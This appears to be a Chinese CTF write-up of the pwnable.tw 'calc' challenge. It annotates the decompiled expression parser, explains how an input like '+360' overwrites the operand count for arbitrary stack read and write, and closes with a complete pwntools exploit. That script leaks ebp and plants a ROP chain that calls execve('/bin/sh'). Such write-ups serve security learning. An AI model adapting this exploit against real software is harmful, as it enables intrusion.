0%

pwnable-calc

对于一个尚未入门的菜鸟来说,这道题刷新了我对漏洞利用的理解,赶巧碰上感冒,花了好几天结合大佬的wp才理清逻辑,那么废话不多说,直接开始解题。。。

32位程序,没开PIE

先来看主函数

ssignal和alarm没什么作用,只是限个时,fflush是清空缓冲区

calc函数

bzero是置零,get_expr是获取不超过1024个字符,init_pool是初始化函数,等同于把v1数组置零

重点是parse_expr函数,我在伪代码里面加上一些注释可以方便理解,由于变量比较多,我也是做了一些笔记避免我混淆,以下变量只讨论parse_expr函数,切记不可以和其他函数内的变量混淆

a2[0] 操作数个数
a2[a2[0]] 操作数
s1 临时变量,储存操作数
s 存储运算符(相当于栈)
s[v6] 相当于栈顶指针

函数的主逻辑是for循环,利用for循环检查每个字符,函数逻辑我均写为注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 ) //检查字符是否为运算符。如果字符是运算符,如+、-这些,减48后会变成负数,由于是unsigned int类型,该负数会变成很大的正整数,自然会大于9
{
v7 = i + a1 - v4; //统计长度,指数字的长度,如123的长度是3
s1 = (char *)malloc(v7 + 1);//s1是临时变量,储存操作数
memcpy(s1, v4, v7);
s1[v7] = 0;
if ( !strcmp(s1, "0") )//如果操作数是0,则报错
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);//将字符"123"转化为整数123
if ( v9 > 0 )
{
v3 = (*a2)++;
a2[v3 + 1] = v9;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )//如果是连续的运算符,则报错
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = i + 1 + a1; // 与前面的v7相对应,用于计算操作数长度
if ( s[v6] ) // s[V6]相当于栈顶指针
{
switch ( *(_BYTE *)(i + a1) )
{
case '%': // 如果字符为 '%','*','/' 则跳到 LABEL_14
case '*':
case '/':
if ( s[v6] != 43 && s[v6] != 45 )
goto LABEL_14;
s[++v6] = *(_BYTE *)(i + a1); // 如果字符为'+','-'则添加进s,相当于入栈
break;
case '+':
case '-':
LABEL_14:
eval(a2, s[v6]);//计算函数,a2里有操作数,s[v6]是运算符
s[v6] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v6--]);
break;
}
}
else
{
s[v6] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}

可以利用的漏洞点是在eval中,检查错误中没有检查像’+123\n’这种表达式,因此在这里它是合法的,如果我们输入’+123\n‘,那么在程序遇到’\n’结束前变量储存的值是这样的
a2[0] = 1

a2[a2[0]] = a2[1] = 123

s[0] = ‘+’

那么在eval计算时,则会执行下图第一个框内的代码,使得a2[0] = 1 + 123 = 124

a2是什么?正是我们的操作数个数,那么我们成功改变了操作数的个数,那我们就可以利用这个点就可以实现任意地址读和任意地址写了

直接上exp,注释中有说明为什么这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
from LibcSearcher import *
from ae64 import AE64
import base64
from ctypes import *

try:
p = remote('chall.pwnable.tw', 10100)
except:
p = process('./pwn')

context(arch="i386",os="linux",log_level="debug")
elf=ELF("/home/feichai/ctf_file/chal")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def pwn():

p.recvuntil(b"=== Welcome to SECPROG calculator ===")
p.sendline(b'+360') #为什么是360?回到calc函数中的v1,我们的操作数个数正是储存在v1[0],而v1[361]是ebp,如何计算?因为每个int占4个字节,所以0x5a0/4 = 360,那我们要泄露v1[361]的内容为什么要是360,因为按前面发送+123那里的逻辑来看,原本v1[0] = 1,因为有360这1个操作数,所以发送+360后,就可以利用该漏洞将原本的 v1[0] = 1 改成 v1[0] = 1 + 360 = 361 了
p.recvuntil(b"\n")
old_ebp = int(p.recvline())
print("old_ebp:",old_ebp)

gadget=[0x0805c34b,0xb,0x080701d0,0,0,old_ebp,0x08049a21,u32('/bin'),u32('/sh\x00')]

for i in range(0,len(gadget)): #这个for循环是用于布置ROP,从v1[361]布置起,程序结束后执行rop
p.sendline('+'+str(361+i))
tmp=gadget[i]-int(p.recvline())
if tmp>0:
p.sendline('+'+str(361+i)+'+'+str(tmp))
else:
p.sendline('+'+str(361+i)+str(tmp))
p.recvline()

p.sendline()
p.interactive()

if __name__=='__main__':
pwn()

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道